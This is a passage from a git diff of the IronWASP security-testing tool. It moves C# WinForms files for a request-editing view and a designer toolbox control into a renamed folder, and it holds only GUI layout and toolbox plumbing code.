16; + // + // ParametersProgressBar + // + this.ParametersProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ParametersProgressBar.Location = new System.Drawing.Point(381, 7); + this.ParametersProgressBar.Name = "ParametersProgressBar"; + this.ParametersProgressBar.Size = new System.Drawing.Size(0, 22); + this.ParametersProgressBar.TabIndex = 15; + // + // WaitProgressBar + // + this.WaitProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.WaitProgressBar.Location = new System.Drawing.Point(472, 3); + this.WaitProgressBar.MarqueeAnimationSpeed = 20; + this.WaitProgressBar.Name = "WaitProgressBar"; + this.WaitProgressBar.Size = new System.Drawing.Size(206, 21); + this.WaitProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.WaitProgressBar.TabIndex = 7; + // + // UseSSLCB + // + this.UseSSLCB.AutoSize = true; + this.UseSSLCB.Location = new System.Drawing.Point(7, 6); + this.UseSSLCB.Name = "UseSSLCB"; + this.UseSSLCB.Size = new System.Drawing.Size(89, 17); + this.UseSSLCB.TabIndex = 6; + this.UseSSLCB.Text = "SSL Request"; + this.UseSSLCB.UseVisualStyleBackColor = true; + // + // StatusAndErrorTB + // + this.StatusAndErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.StatusAndErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.StatusAndErrorTB.Location = new System.Drawing.Point(102, 3); + this.StatusAndErrorTB.Name = "StatusAndErrorTB"; + this.StatusAndErrorTB.ReadOnly = true; + this.StatusAndErrorTB.Size = new System.Drawing.Size(576, 13); + this.StatusAndErrorTB.TabIndex = 8; + // + // ironDataView1 + // + this.ironDataView1.AutoSize = true; + this.ironDataView1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ironDataView1.Location = new System.Drawing.Point(0, 0); + this.ironDataView1.Margin = new System.Windows.Forms.Padding(0); + this.ironDataView1.Name = "ironDataView1"; + this.ironDataView1.ReadOnly = false; + this.ironDataView1.Size = new System.Drawing.Size(674, 194); + this.ironDataView1.TabIndex = 1; + // + // ironDataView2 + // + this.ironDataView2.AutoSize = true; + this.ironDataView2.Dock = System.Windows.Forms.DockStyle.Fill; + this.ironDataView2.Location = new System.Drawing.Point(0, 0); + this.ironDataView2.Margin = new System.Windows.Forms.Padding(0); + this.ironDataView2.Name = "ironDataView2"; + this.ironDataView2.ReadOnly = false; + this.ironDataView2.Size = new System.Drawing.Size(426, 142); + this.ironDataView2.TabIndex = 1; + // + // ironDataView3 + // + this.ironDataView3.AutoSize = true; + this.ironDataView3.Dock = System.Windows.Forms.DockStyle.Fill; + this.ironDataView3.Location = new System.Drawing.Point(0, 0); + this.ironDataView3.Margin = new System.Windows.Forms.Padding(0); + this.ironDataView3.Name = "ironDataView3"; + this.ironDataView3.ReadOnly = false; + this.ironDataView3.Size = new System.Drawing.Size(674, 194); + this.ironDataView3.TabIndex = 2; + // + // ModRequestView + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.BaseTabs); + this.Controls.Add(this.WaitProgressBar); + this.Controls.Add(this.UseSSLCB); + this.Controls.Add(this.StatusAndErrorTB); + this.Name = "ModRequestView"; + this.Size = new System.Drawing.Size(682, 250); + this.BaseTabs.ResumeLayout(false); + this.HeadersTab.ResumeLayout(false); + this.HeadersTab.PerformLayout(); + this.BodyTab.ResumeLayout(false); + this.BodyTab.PerformLayout(); + this.BodyParametersTab.ResumeLayout(false); + this.BodyParametersFormatTypeTabs.ResumeLayout(false); + this.BodyTypeNormalTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.BodyNormalTypeParametersGrid)).EndInit(); + this.BodyTypeFormatPluginTab.ResumeLayout(false); + this.ASRequestBodyTabSplit.Panel1.ResumeLayout(false); + this.ASRequestBodyTabSplit.Panel2.ResumeLayout(false); + this.ASRequestBodyTabSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); + this.ScanBodyFormatPluginTypeTabs.ResumeLayout(false); + this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).EndInit(); + this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); + this.FormatXmlBaseSplit.Panel1.ResumeLayout(false); + this.FormatXmlBaseSplit.Panel1.PerformLayout(); + this.FormatXmlBaseSplit.Panel2.ResumeLayout(false); + this.FormatXmlBaseSplit.Panel2.PerformLayout(); + this.FormatXmlBaseSplit.ResumeLayout(false); + this.OtherParametersTab.ResumeLayout(false); + this.OtherParametersTab.PerformLayout(); + this.OtherParametersTabs.ResumeLayout(false); + this.UrlPathPartsParametersTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).EndInit(); + this.QueryParametersTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).EndInit(); + this.CookieParametersTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).EndInit(); + this.HeadersParametersTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage HeadersTab; + private System.Windows.Forms.TabPage BodyTab; + private System.Windows.Forms.TabPage BodyParametersTab; + internal System.Windows.Forms.TabControl BodyParametersFormatTypeTabs; + private System.Windows.Forms.TabPage BodyTypeNormalTab; + internal System.Windows.Forms.DataGridView BodyNormalTypeParametersGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; + private System.Windows.Forms.TabPage BodyTypeFormatPluginTab; + private System.Windows.Forms.SplitContainer ASRequestBodyTabSplit; + internal System.Windows.Forms.DataGridView FormatPluginsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodyDataFormatSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyDataFormatColumn; + internal System.Windows.Forms.TabControl ScanBodyFormatPluginTypeTabs; + private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; + internal System.Windows.Forms.DataGridView BodyFormatPluginsParametersGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; + private System.Windows.Forms.SplitContainer FormatXmlBaseSplit; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Button ConvertXmlToObjectBtn; + private System.Windows.Forms.TabPage OtherParametersTab; + private System.Windows.Forms.TabControl OtherParametersTabs; + private System.Windows.Forms.TabPage UrlPathPartsParametersTab; + internal System.Windows.Forms.DataGridView UrlPathPartsParametersGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.TabPage QueryParametersTab; + internal System.Windows.Forms.DataGridView QueryParametersGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; + private System.Windows.Forms.TabPage CookieParametersTab; + internal System.Windows.Forms.DataGridView CookieParametersGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; + private System.Windows.Forms.TabPage HeadersParametersTab; + internal System.Windows.Forms.DataGridView HeadersParametersGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; + private System.Windows.Forms.TextBox ParametersErrorTB; + private System.Windows.Forms.ProgressBar ParametersProgressBar; + private System.Windows.Forms.ProgressBar WaitProgressBar; + private System.Windows.Forms.CheckBox UseSSLCB; + private System.Windows.Forms.TextBox StatusAndErrorTB; + internal IronDataView.IronDataView ironDataView1; + internal IronDataView.IronDataView ironDataView2; + internal IronDataView.IronDataView ironDataView3; + + } +} diff --git a/IronWASP/ModRequestView.cs b/Iron/ModRequestView.cs similarity index 96% rename from IronWASP/ModRequestView.cs rename to Iron/ModRequestView.cs index 24385fc..7c69907 100644 --- a/IronWASP/ModRequestView.cs +++ b/Iron/ModRequestView.cs @@ -1,36 +1,36 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Data; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class ModRequestView : UserControl - { - public ModRequestView() - { - InitializeComponent(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class ModRequestView : UserControl + { + public ModRequestView() + { + InitializeComponent(); + } + } +} diff --git a/Iron/ModRequestView.resx b/Iron/ModRequestView.resx new file mode 100644 index 0000000..6dc4197 --- /dev/null +++ b/Iron/ModRequestView.resx @@ -0,0 +1,162 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/IronWASP/ModToolBox.cs b/Iron/ModToolBox.cs similarity index 97% rename from IronWASP/ModToolBox.cs rename to Iron/ModToolBox.cs index a1ff451..870c979 100644 --- a/IronWASP/ModToolBox.cs +++ b/Iron/ModToolBox.cs @@ -1,461 +1,466 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Drawing; -using System.Data; -using System.Windows.Forms; -using System.Drawing.Design; -using System.Windows.Forms.Design; -using System.IO; -using System.Reflection; - -namespace IronWASP -{ - //Uses code and ideas from http://msdn.microsoft.com/en-us/magazine/cc163634.aspx - internal class ModToolBox : System.Windows.Forms.UserControl, IToolboxService - { - System.ComponentModel.Container components = null; - int SelectedIndex = 0; - IDesignerHost DesignerHost = null; - - ListBox ToolsList = null; - - public ModToolBox() - { - InitializeComponent(); - } - - protected override void Dispose( bool disposing ) - { - if( disposing ) - { - if( components != null ) - components.Dispose(); - } - base.Dispose( disposing ); - } - - #region Component Designer generated code - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.SuspendLayout(); - this.ToolsListBox = new ListBox(); - this.ToolsListBox.Size = new System.Drawing.Size(this.Width, this.Height); - this.ToolsListBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; - this.Controls.Add(ToolsListBox); - - System.Drawing.Design.ToolboxItem TBI = new System.Drawing.Design.ToolboxItem(); - TBI.DisplayName = "Select from below:"; - TBI.Bitmap = new System.Drawing.Bitmap(16, 16); - ToolsList.Items.Add(TBI); - System.Drawing.ToolboxBitmapAttribute tba; - - //Label - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModLabel)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.Label))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.Label)); - ToolsList.Items.Add(TBI); - //TextBox - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModTextBox)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.TextBox))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.TextBox)); - ToolsList.Items.Add(TBI); - //RichTextBox - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModRichTextBox)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.RichTextBox))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.RichTextBox)); - ToolsList.Items.Add(TBI); - //CheckBox - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModCheckBox)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.CheckBox))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.CheckBox)); - ToolsList.Items.Add(TBI); - //RadioButton - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModRadioButton)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.RadioButton))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.RadioButton)); - ToolsList.Items.Add(TBI); - //Button - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModButton)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.Button))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.Button)); - ToolsList.Items.Add(TBI); - //Panel - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModPanel)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.Panel))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.Panel)); - ToolsList.Items.Add(TBI); - //TabControl - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModTabControl)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.TabControl))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.TabControl)); - ToolsList.Items.Add(TBI); - //ModDataGridView - TBI = new System.Drawing.Design.ToolboxItem(typeof(ModDataGridView)); - tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.DataGridView))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.DataGridView)); - ToolsList.Items.Add(TBI); - //Test - //TBI = new System.Drawing.Design.ToolboxItem(typeof(ContextMenuStrip)); - //tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.ContextMenuStrip))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; - //TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.ContextMenuStrip)); - //ToolsList.Items.Add(TBI); - - AddEventHandlers(); - this.DesignerHost = ModUiDesigner.IDH; - } - #endregion - - internal ListBox ToolsListBox - { - get - { - return ToolsList; - } - set - { - ToolsList = value; - } - } - - private void AddEventHandlers() - { - ToolsListBox.KeyDown += new System.Windows.Forms.KeyEventHandler(this.ToolsListBox_KeyDown); - ToolsListBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.ToolsListBox_MouseDown); - ToolsListBox.DrawItem += new System.Windows.Forms.DrawItemEventHandler(this.ToolsListBox_DrawItem); - } - - private void ToolsListBox_DrawItem(object sender, System.Windows.Forms.DrawItemEventArgs e) - { - try - { - ListBox lbSender = sender as ListBox; - if (lbSender == null) - return; - - // If this tool is the currently selected tool, draw it with a highlight. - if (SelectedIndex == e.Index) - { - e.Graphics.FillRectangle(Brushes.LightSlateGray, e.Bounds); - } - - System.Drawing.Design.ToolboxItem tbi = lbSender.Items[e.Index] as System.Drawing.Design.ToolboxItem; - Rectangle BitmapBounds = new Rectangle(e.Bounds.Location.X, e.Bounds.Location.Y + e.Bounds.Height / 2 - tbi.Bitmap.Height / 2, tbi.Bitmap.Width, tbi.Bitmap.Height); - Rectangle StringBounds = new Rectangle(e.Bounds.Location.X + BitmapBounds.Width + 5, e.Bounds.Location.Y, e.Bounds.Width - BitmapBounds.Width, e.Bounds.Height); - - StringFormat format = new StringFormat(); - - format.LineAlignment = StringAlignment.Center; - format.Alignment = StringAlignment.Near; - e.Graphics.DrawImage(tbi.Bitmap, BitmapBounds); - e.Graphics.DrawString(tbi.DisplayName, new Font("Tahoma", 11, FontStyle.Regular, GraphicsUnit.World), Brushes.Black, StringBounds, format); - } - catch (Exception ex) - { - ex.ToString(); - } - } - - private void ToolsListBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) - { - try - { - ListBox lbSender = sender as ListBox; - Rectangle lastSelectedBounds = lbSender.GetItemRectangle(0); - try - { - lastSelectedBounds = lbSender.GetItemRectangle(SelectedIndex); - } - catch(Exception ex) - { - ex.ToString(); - } - - SelectedIndex = lbSender.IndexFromPoint(e.X, e.Y); // change our selection - lbSender.SelectedIndex = SelectedIndex; - lbSender.Invalidate(lastSelectedBounds); // clear highlight from last selection - lbSender.Invalidate(lbSender.GetItemRectangle(SelectedIndex)); // highlight new one - - if (SelectedIndex != 0) - { - if (e.Clicks == 2) - { - IDesignerHost idh = (IDesignerHost)this.DesignerHost.GetService (typeof(IDesignerHost)); - IToolboxUser tbu = idh.GetDesigner (idh.RootComponent as IComponent) as IToolboxUser; - - if (tbu != null) - { - tbu.ToolPicked ((System.Drawing.Design.ToolboxItem)(lbSender.Items[SelectedIndex])); - } - } - else if (e.Clicks < 2) - { - System.Drawing.Design.ToolboxItem tbi = lbSender.Items[SelectedIndex] as System.Drawing.Design.ToolboxItem; - IToolboxService tbs = this; - - // The IToolboxService serializes ToolboxItems by packaging them in DataObjects. - DataObject d = tbs.SerializeToolboxItem (tbi) as DataObject; - - try - { - lbSender.DoDragDrop (d, DragDropEffects.Copy); - } - catch (Exception ex) - { - MessageBox.Show (ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - } - } - } - } - catch(Exception ex) - { - ex.ToString(); - } - } - - private void ToolsListBox_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e) - { - try - { - ListBox LbSender = sender as ListBox; - Rectangle LastSelectedBounds = LbSender.GetItemRectangle(0); - try - { - LastSelectedBounds = LbSender.GetItemRectangle(SelectedIndex); - } - catch(Exception ex) - { - ex.ToString(); - } - - switch (e.KeyCode) - { - case Keys.Up: if (SelectedIndex > 0) - { - SelectedIndex--; // change selection - LbSender.SelectedIndex = SelectedIndex; - LbSender.Invalidate(LastSelectedBounds); // clear old highlight - LbSender.Invalidate(LbSender.GetItemRectangle(SelectedIndex)); // add new one - } - break; - - case Keys.Down: if (SelectedIndex + 1 < LbSender.Items.Count) - { - SelectedIndex++; // change selection - LbSender.SelectedIndex = SelectedIndex; - LbSender.Invalidate(LastSelectedBounds); // clear old highlight - LbSender.Invalidate(LbSender.GetItemRectangle(SelectedIndex)); // add new one - } - break; - - case Keys.Enter: - if (DesignerHost == null) - MessageBox.Show ("idh Null"); - - IToolboxUser TBU = DesignerHost.GetDesigner (DesignerHost.RootComponent as IComponent) as IToolboxUser; - - if (TBU != null) - { - // Enter means place the tool with default location and default size. - TBU.ToolPicked((System.Drawing.Design.ToolboxItem)(LbSender.Items[SelectedIndex])); - LbSender.Invalidate (LastSelectedBounds); // clear old highlight - LbSender.Invalidate (LbSender.GetItemRectangle (SelectedIndex)); // add new one - } - - break; - - default: - { - Console.WriteLine("Error: Not able to add"); - break; - } - } // switch - } - catch(Exception ex) - { - MessageBox.Show(ex.ToString()); - } - } - - #region IToolboxService Members - - // We only implement what is really essential for ToolboxService - - public System.Drawing.Design.ToolboxItem GetSelectedToolboxItem (IDesignerHost host) - { - ListBox List = this.ToolsListBox; - System.Drawing.Design.ToolboxItem TBI = (System.Drawing.Design.ToolboxItem)List.Items[SelectedIndex]; - if (TBI.DisplayName != "Select from below:") - return TBI; - else - return null; - } - - public System.Drawing.Design.ToolboxItem GetSelectedToolboxItem () - { - return this.GetSelectedToolboxItem(null); - } - - public void AddToolboxItem(System.Drawing.Design.ToolboxItem toolboxItem, string category) - { - } - - public void AddToolboxItem(System.Drawing.Design.ToolboxItem toolboxItem) - { - } - - public bool IsToolboxItem (object serializedObject, IDesignerHost host) - { - return false; - } - - public bool IsToolboxItem (object serializedObject) - { - return false; - } - - public void SetSelectedToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem) - { - } - - public void SelectedToolboxItemUsed () - { - ListBox list = this.ToolsListBox; - - list.Invalidate(list.GetItemRectangle(SelectedIndex)); - SelectedIndex = 0; - list.SelectedIndex = 0; - list.Invalidate (list.GetItemRectangle (SelectedIndex)); - } - - public CategoryNameCollection CategoryNames - { - get - { - return null; - } - } - - void IToolboxService.Refresh () - { - } - - public void AddLinkedToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem, string category, IDesignerHost host) - { - } - - public void AddLinkedToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem, IDesignerHost host) - { - } - - public bool IsSupported (object serializedObject, ICollection filterAttributes) - { - return false; - } - - public bool IsSupported (object serializedObject, IDesignerHost host) - { - return false; - } - - public string SelectedCategory - { - get - { - return null; - } - set - { - } - } - - public System.Drawing.Design.ToolboxItem DeserializeToolboxItem (object serializedObject, IDesignerHost host) - { - return (System.Drawing.Design.ToolboxItem)((DataObject)serializedObject).GetData(typeof(System.Drawing.Design.ToolboxItem)); - } - - public System.Drawing.Design.ToolboxItem DeserializeToolboxItem (object serializedObject) - { - return this.DeserializeToolboxItem(serializedObject, this.DesignerHost); - } - - public System.Drawing.Design.ToolboxItemCollection GetToolboxItems (string category, IDesignerHost host) - { - return null; - } - - public System.Drawing.Design.ToolboxItemCollection GetToolboxItems (string category) - { - return null; - } - - public System.Drawing.Design.ToolboxItemCollection GetToolboxItems (IDesignerHost host) - { - return null; - } - - public System.Drawing.Design.ToolboxItemCollection GetToolboxItems () - { - return null; - } - - public void AddCreator (ToolboxItemCreatorCallback creator, string format, IDesignerHost host) - { - } - - public void AddCreator (ToolboxItemCreatorCallback creator, string format) - { - } - - public bool SetCursor () - { - return false; - } - - public void RemoveToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem, string category) - { - } - - public void RemoveToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem) - { - } - - public object SerializeToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem) - { - return new DataObject (toolboxItem); - } - - public void RemoveCreator (string format, IDesignerHost host) - { - } - - public void RemoveCreator (string format) - { - } - - #endregion - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections; +using System.ComponentModel; +using System.ComponentModel.Design; +using System.Drawing; +using System.Data; +using System.Windows.Forms; +using System.Drawing.Design; +using System.Windows.Forms.Design; +using System.IO; +using System.Reflection; + +namespace IronWASP +{ + //Uses code and ideas from http://msdn.microsoft.com/en-us/magazine/cc163634.aspx + internal class ModToolBox : System.Windows.Forms.UserControl, IToolboxService + { + System.ComponentModel.Container components = null; + int SelectedIndex = 0; + IDesignerHost DesignerHost = null; + + ListBox ToolsList = null; + + public ModToolBox() + { + InitializeComponent(); + } + + protected override void Dispose( bool disposing ) + { + if( disposing ) + { + if( components != null ) + components.Dispose(); + } + base.Dispose( disposing ); + } + + #region Component Designer generated code + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + this.ToolsListBox = new ListBox(); + this.ToolsListBox.Size = new System.Drawing.Size(this.Width, this.Height); + this.ToolsListBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.Controls.Add(ToolsListBox); + + System.Drawing.Design.ToolboxItem TBI = new System.Drawing.Design.ToolboxItem(); + TBI.DisplayName = "Select from below:"; + TBI.Bitmap = new System.Drawing.Bitmap(16, 16); + ToolsList.Items.Add(TBI); + System.Drawing.ToolboxBitmapAttribute tba; + + //Label + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModLabel)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.Label))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.Label)); + ToolsList.Items.Add(TBI); + //TextBox + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModTextBox)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.TextBox))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.TextBox)); + ToolsList.Items.Add(TBI); + //RichTextBox + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModRichTextBox)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.RichTextBox))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.RichTextBox)); + ToolsList.Items.Add(TBI); + //CheckBox + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModCheckBox)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.CheckBox))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.CheckBox)); + ToolsList.Items.Add(TBI); + //RadioButton + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModRadioButton)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.RadioButton))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.RadioButton)); + ToolsList.Items.Add(TBI); + //Button + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModButton)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.Button))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.Button)); + ToolsList.Items.Add(TBI); + //Panel + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModPanel)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.Panel))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.Panel)); + 